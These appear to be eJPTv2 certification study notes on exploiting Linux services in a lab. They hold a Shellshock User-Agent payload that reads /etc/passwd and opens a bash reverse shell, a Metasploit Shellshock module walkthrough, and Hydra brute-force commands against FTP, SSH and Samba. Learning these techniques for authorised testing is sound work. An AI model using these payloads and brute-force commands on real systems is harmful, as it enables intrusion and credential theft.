> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/system-host-based-attacks/linux-vulnerabilities/linux-exploitation.md). # Linux Exploitation ### Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock) **CVE-2014-6271 - Shellshock** * Shellsheck (CVE-2014-6271) is the name given to a family of vulnerability in the Bash shell (since v1.3) that allow an attacker to execute remote arbitrary commands via Bash, consequently allowing the attacker to obtain remote access to the target system via a reverse shell. * The Shell shock vulnerability was discovered by Stephane Chazelas on the 12th of September 2014 and was made public on the 24th of September 2014. * Bash is a \*Nix shell that is part of the GNU project and is the default shell for most Linux distributions. * The Shellshock vulnerability is caused by a vulnerability in Bash, whereby Bash mistakenly executes trailing commands after a series of characters: () {:;};. * This vulnerability only affects Linux as Windows does not use utilize Bash as it is not a \*Nix based operating system. * In the context of remote exploitation, Apache web servers configured to run CGI scripts or .sh scripts are also vulnerable to this attack. * CGI (Common Gateway Interface) scripts are used by Apache to execute arbitrary commands on the Linux system, after which the output is displayed to the client. **Shellshock Exploitation** * In order to exploit this vulnerability, you will need to locate an input vector or script that allows you to communicate with Bash. * In the context of an Apache web server, we can utilize any legtimate CGI scripts accessible on the web server. * Whenever a CGI scripts is executed, the web server will initiate a new process and run the CGI script with Bash. * This vulnerability can be exploited both manually and automatically with the use of an MSF exploit module. **Demo: Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)** ``` ifconfig eth1 (add .2 -> .3) nmap -sV ``` * open browser to access the site and view page source. * it uses .cgi script * Detect shellshock vulnerability ``` nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" ``` * we have foxyproxy configured use it to intercept to burpsuite * make a request after the intercept is ON. * send it to repeater & change the User Agent: to ``` () { :; } ; echo; echo; /bin/bash -c 'cat /etc/passwd' ``` * we get the output in Response. ``` nc -nvlp 1234 ``` * change User Agent to ``` () { :; } ; echo; echo; /bin/bash -c 'bash -i>&/dev/tcp// 0>&1' ``` * we get the reverse shell as daemon user. ``` cat /etc/*issue uname -a ``` **Metasploit Method** ``` msfconsole -q > search shellshock > use exploit/multi/http/apache_mod_cgi_bash_env_exec > set RHOSTS > set TargetURI /gettime.cgi > exploit >>>> sysinfo ``` * auxiliary/scanner/http/apache\_mode\_cgi\_bash\_env (to detect the ShellShock vulnerabiltiy) *** ### Exploiting FTP * FTP (File Transfer Protocol) is a protocol that uses TCP port 21 and is used to facilitate file sharing between a server and client/clients. * It is also frequently used as a means of transferring files to and from the directory of a web server. * FTP authentication requires a username and password combination. As a result, we can perform a brute-force attack on the FTP server in order to identify legitimate credentials. * In some cases, FTP servers may be configured to allow anonymous access, which consequently allows anyone to access to the FTP server without providing any legitimate credentials. **Demo: Exploiting FTP** ``` nmap -sC -sV ``` * login anonymous:anonymous or ftp:ftp ``` nmap --script=ftp-anon ``` * ls -al /usr/share/nmap/scripts/ | grep ftp-\* * to search the scripts ``` hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -t 4 ftp ``` ``` ftp user: password: > dir > get - ``` ``` searchsploit ProFTPd ``` *** ### Exploiting SSH * SSH (Secure Shell) is a remote administrator protocol that offers encryption and is the successor to Telnet. * It is typically used for remote access to servers and systems. * SSH uses TCP port 22 by default however, like other services, it can be configured to use any other open TCP port. * SSH authentication can be configured in two ways: * Username & Password authentication * Key based authentication * In the case of username and password authentication, we can perform a brute-force attack on the SSH server in-order to identify legitimate credentials and consequently gain access to the target system. **Demo: Exploiting SSH** ``` ifconfig eth1 ``` ``` nmap -sV ``` ``` hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/common_passwords.txt -t 4 ssh ``` ``` ssh @ > whoami > groups sysadmin > cat /etc/*issue > uname -r > cat /etc/passwd ``` *** ### Exploiting SAMBA * SMB (Server Message Block) is a network file sharing protocol that is used to facilitate the sharing of files and peripherals between computers on a local network (LAN). * SMB uses port 445 (TCP). However, originally, SMB ran on top of NetBIOS using port 139. * Samba is the Linux implementation of SMB, and allows Windows systems to access Linux shares and devices. * SAMBA utilizes username and password authentication in order to obtain access to the server or a network share. * We can perform a brute-force attack on the SAMBA server in order to obtain legitimate credentials. * After obtaining legitimate credentials, we can use a utility called **SMBMap** in order to enumerate SAMBA share drives, list the contents of the shares as well as download files and execute remote commands on the target. * We can also utilize a tool called **smbclient**. smbclient is a client that is part of the SAMBA software suite. It communicates with a LAN Manager server offering an interface similar to that of the ftp program. It can be used to download files from the server to the local machine, upload files from the local machines to the server as well as retrieve directory information from the server. **DEMO: Exploiting SAMBA** ``` ifconfig eth1 ``` ``` hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb ``` * **smbmap** - ftp-like client to access SMB/CIFS resources on servers ``` smbmap -H -u admin -p password1 ``` ``` smbclient -L -U admin ``` ``` smbclient /// -U admin > ? > dir > cd dev\ ``` ``` smbclient ///nancy -U admin > dir > cd srv > cd .. > dir > get flag smbclient ///admin -U admin > ls > get flag.tar.gz ``` ``` enum4linux -a ``` ``` enum4linux ``` ``` enum4linux -a -u admin -p password1 ```